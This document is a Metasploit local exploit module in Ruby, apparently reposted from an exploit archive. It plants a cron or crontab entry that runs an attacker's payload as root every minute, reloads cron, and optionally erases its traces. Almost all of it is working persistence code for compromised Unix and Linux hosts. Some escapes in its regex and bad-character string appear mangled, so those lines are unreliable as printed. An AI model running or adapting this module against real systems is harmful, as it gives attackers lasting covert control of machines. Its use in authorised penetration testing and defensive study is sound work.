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Metasploit Cron Persistence Module

Posted on 18 August 2016

##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Local
Rank = ExcellentRanking

include Msf::Post::File
include Msf::Post::Unix
include Msf::Exploit::FileDropper

def initialize(info = {})
super(
update_info(
info,
'Name' => 'Cron Persistence',
'Description' => %q(
This module will create a cron or crontab entry to execute a payload.
The module includes the ability to automatically clean up those entries to prevent multiple executions.
syslog will get a copy of the cron entry.
),
'License' => MSF_LICENSE,
'Author' =>
[
'h00die <mike@shorebreaksecurity.com>'
],
'Platform' => ['unix', 'linux'],
'Targets' =>
[
[ 'Cron', { :path => '/etc/cron.d' } ],
[ 'User Crontab', { :path => '/var/spool/cron' } ],
[ 'System Crontab', { :path => '/etc' } ]
],
'DefaultTarget' => 1,
'Arch' => ARCH_CMD,
'Payload' =>
{
'BadChars' => "#%x10x13", # is for comments, % is for newline
'Compat' =>
{
'PayloadType' => 'cmd',
'RequiredCmd' => 'generic perl ruby python'
}
},
'DefaultOptions' => { 'WfsDelay' => 90 },
'DisclosureDate' => "Jul 1 1979" # Version 7 Unix release date (first cron implementation)
)
)

register_options(
[
OptString.new('USERNAME', [false, 'User to run cron/crontab as', 'root']),
OptString.new('TIMING', [false, 'cron timing. Changing will require WfsDelay to be adjusted', '* * * * *']),
OptBool.new('CLEANUP', [true, 'delete cron entry after execution', true])
], self.class
)
end

def exploit
# https://gist.github.com/istvanp/310203 for cron regex validator
cron_regex = '(*|[0-5]?[0-9]|*/[0-9]+)s+'
cron_regex << '(*|1?[0-9]|2[0-3]|*/[0-9]+)s+'
cron_regex << '(*|[1-2]?[0-9]|3[0-1]|*/[0-9]+)s+'
cron_regex << '(*|[0-9]|1[0-2]|*/[0-9]+|jan|feb|mar|apr|may|jun|jul|aug|sep|oct|nov|dec)s+'
cron_regex << '(*/[0-9]+|*|[0-7]|sun|mon|tue|wed|thu|fri|sat)' # s*
# cron_regex << '(*/[0-9]+|*|[0-9]+)?'
unless datastore['TIMING'] =~ /#{cron_regex}/
fail_with(Failure::BadConfig, 'Invalid timing format')
end
cron_entry = datastore['TIMING']
if target.name.include? 'User Crontab'
unless user_cron_permission?(datastore['USERNAME'])
fail_with(Failure::NoAccess, 'User denied cron via cron.deny')
end
else
cron_entry += " #{datastore['USERNAME']}"
end
flag = Rex::Text.rand_text_alpha(10)
cron_entry += " #{payload.encoded} ##{flag}" # we add a flag to the end of the entry to potentially delete it later
case target.name
when 'Cron'
our_entry = Rex::Text.rand_text_alpha(10)
write_file("#{target.opts[:path]}/#{our_entry}", "#{cron_entry}
")
vprint_good("Writing #{cron_entry} to #{target.opts[:path]}/#{our_entry}")
if datastore['CLEANUP']
register_file_for_cleanup("#{target.opts[:path]}/#{our_entry}")
end
when 'System Crontab'
file_to_clean = "#{target.opts[:path]}/crontab"
append_file(file_to_clean, "
#{cron_entry}
")
vprint_good("Writing #{cron_entry} to #{file_to_clean}")
when 'User Crontab'
file_to_clean = "#{target.opts[:path]}/crontabs/#{datastore['USERNAME']}"
append_file(file_to_clean, "
#{cron_entry}
")
vprint_good("Writing #{cron_entry} to #{file_to_clean}")
# at least on ubuntu, we need to reload cron to get this to work
vprint_status('Reloading cron to pickup new entry')
cmd_exec("service cron reload")
end
print_status("Waiting #{datastore['WfsDelay']}sec for execution")
Rex.sleep(datastore['WfsDelay'].to_i)
# we may need to do some cleanup, no need for cron since that uses file dropper
# we could run this on a on_successful_session, but we want cleanup even if it fails
if file_to_clean && flag && datastore['CLEANUP']
print_status("Removing our cron entry from #{file_to_clean}")
cmd_exec("sed '/#{flag}$/d' #{file_to_clean} > #{file_to_clean}.new")
cmd_exec("mv #{file_to_clean}.new #{file_to_clean}")
# replaced cmd_exec("perl -pi -e 's/.*#{flag}$//g' #{file_to_clean}") in favor of sed
if target.name == 'User Crontab' # make sure we clean out of memory
cmd_exec("service cron reload")
end
end
end

def user_cron_permission?(user)
# double check we're allowed to do cron
# may also be /etc/cron.d/
paths = ['/etc/', '/etc/cron.d/']
paths.each do |path|
cron_auth = read_file("#{path}cron.allow")
if cron_auth
if cron_auth =~ /^ALL$/ || cron_auth =~ /^#{Regexp.escape(user)}$/
vprint_good("User located in #{path}cron.allow")
return true
end
end
cron_auths = read_file("#{path}cron.deny")
if cron_auths && cron_auth =~ /^#{Regexp.escape(user)}$/
vprint_error("User located in #{path}cron.deny")
return false
end
end
# no guidance, so we should be fine
true
end
end

 

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